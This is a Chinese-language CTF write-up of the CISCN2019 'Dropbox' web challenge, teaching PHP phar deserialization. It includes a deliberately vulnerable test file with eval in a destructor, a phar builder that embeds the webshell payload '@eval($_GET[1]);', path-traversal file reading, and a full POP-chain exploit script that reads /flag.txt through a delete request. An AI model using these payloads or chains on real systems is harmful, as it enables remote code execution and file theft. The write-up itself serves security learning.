知识点:phar反序列化
[CISCN2019 华北赛区 Day1 Web1]Dropbox
phar学习
个人浅要理解:phar是一个压缩文件,然后用一些受影响的文件函数去访问这个phar://文件名
,就可以进行反序列化(无论后缀是否为phar)
本地进行测试
首先有个1.php,其中有个file_exists()可以作为利用点
<?php
class hello
{
var $a = "";
function __destruct()
{
// TODO: Implement __destruct() method.
eval($this->a);
}
}
if($_GET['file']!=NULL)
{
$file = $_GET['file'];
file_exists($file);
}
写个phar.phar,phar会生成一个test.phar,其中包含我们写的小马,运行phar.phar,如果生成不了phar文件,检查一下自己的php.ini中phar.readonly
是不是On,把它改为Off,取消注释;
。
<?php
class hello
{
var $a = '';
}
@unlink('test.phar');
$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$b = new hello();
$b->a = '@eval($_GET[1]);';
$phar->setMetadata($b);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>
然后进行传参
解题过程
首先是登录界面,注册账号,然后登录
登录进去之后,可以上传文件,
上传图片成功,但是上传php文件就不行,提示我们只能上传图片格式的文件
同时提供了下载和删除功能,在下载功能里download.php中,我们可以修改filename,注意目录穿越,比如(…/…/index.php)从而达到任意文件读取,将所有的源码下载下来
构造pop链
几乎所有的文件,都用到了class.php,里面存放了三个类,几乎所有的功能都和这三个类有关系
其中注意Filelist类中的__call()魔术方法
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
__call()魔术方法会在对象调用的方法不存在时,自动执行。func是调用的方法名,args是方法的参数
在本题中这个函数是干嘛的呢?具体分析参考沐目师傅的博客[CISCN2019 华北赛区 Day1 Web1]Dropbox_沐目的博客-优快云博客
在index.php中,
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
Name()和Size()方法在每个类中都不存在,所以会遍历每一个文件,注意构造函数中已经将该目录下的文件的名称都放到了files变量中,所以files变量是一个数组变量
然后__call()函数又会将每一个文件执行func()的执行结果返回至results数组中
然后在析构函数中将返回的结果返回给用户
审计源码,在class.php中,File类中有close()方法,可以进行文件包含
public function close() {
return file_get_contents($this->filename);
}
找触发条件,在class.php中,有User类,其中__destruct()魔术方法,可以调用close()方法
public function __destruct() {
//调用close方法,但是该类没有close方法,所以是调用File类的close方法
$this->db->close();
}
但是如果直接调用的话,不会有回显,需要用到FileList类中的__call()魔术方法,将close()执行得到的信息放入
生成test.phar文件的脚本
<?php
class User {
public $db;
}
class FileList {
private $files;
public function __construct()
{
$this->files = array(new File());
}
}
class File {
public $filename = '/flag.txt';
}
$a = new User();
$a->db = new FileList();
@unlink('test.phar');
$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($a);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>
几点注意的地方
在download.php中,限制了访问的目录,所以只能在delete.php中利用payload
delete.php中,使用了File类的delete()函数,而delete()函数中有unlink(),触发phar反序列化,参数为filename,所以在得到flag的时候修改filename为phar://test/jpg
文件上传和删除
修改文件后缀为.jpg,然后上传
删除文件修改文件名称为phar://test.jpg
,触发phar反序列化执行
得到flag
遇到的问题
在执行phar.phar文件的时候,无法正常执行,生成不了新的phar文件,查了查资料,需要修改php.ini中的配置。
在php.ini中,phar.readonly
默认选项为On,无法生成phar文件要将php.ini中的phar.readonly
选项设置为Off
在没有修改配置的时候,phar.phar运行的时候,会报错
Fatal error: Uncaught UnexpectedValueException: creating archive “test.phar” disabled by the php.ini setting phar.readonly in…
将php.ini中的配置进行修改,然后再执行,即可生成test.phar文件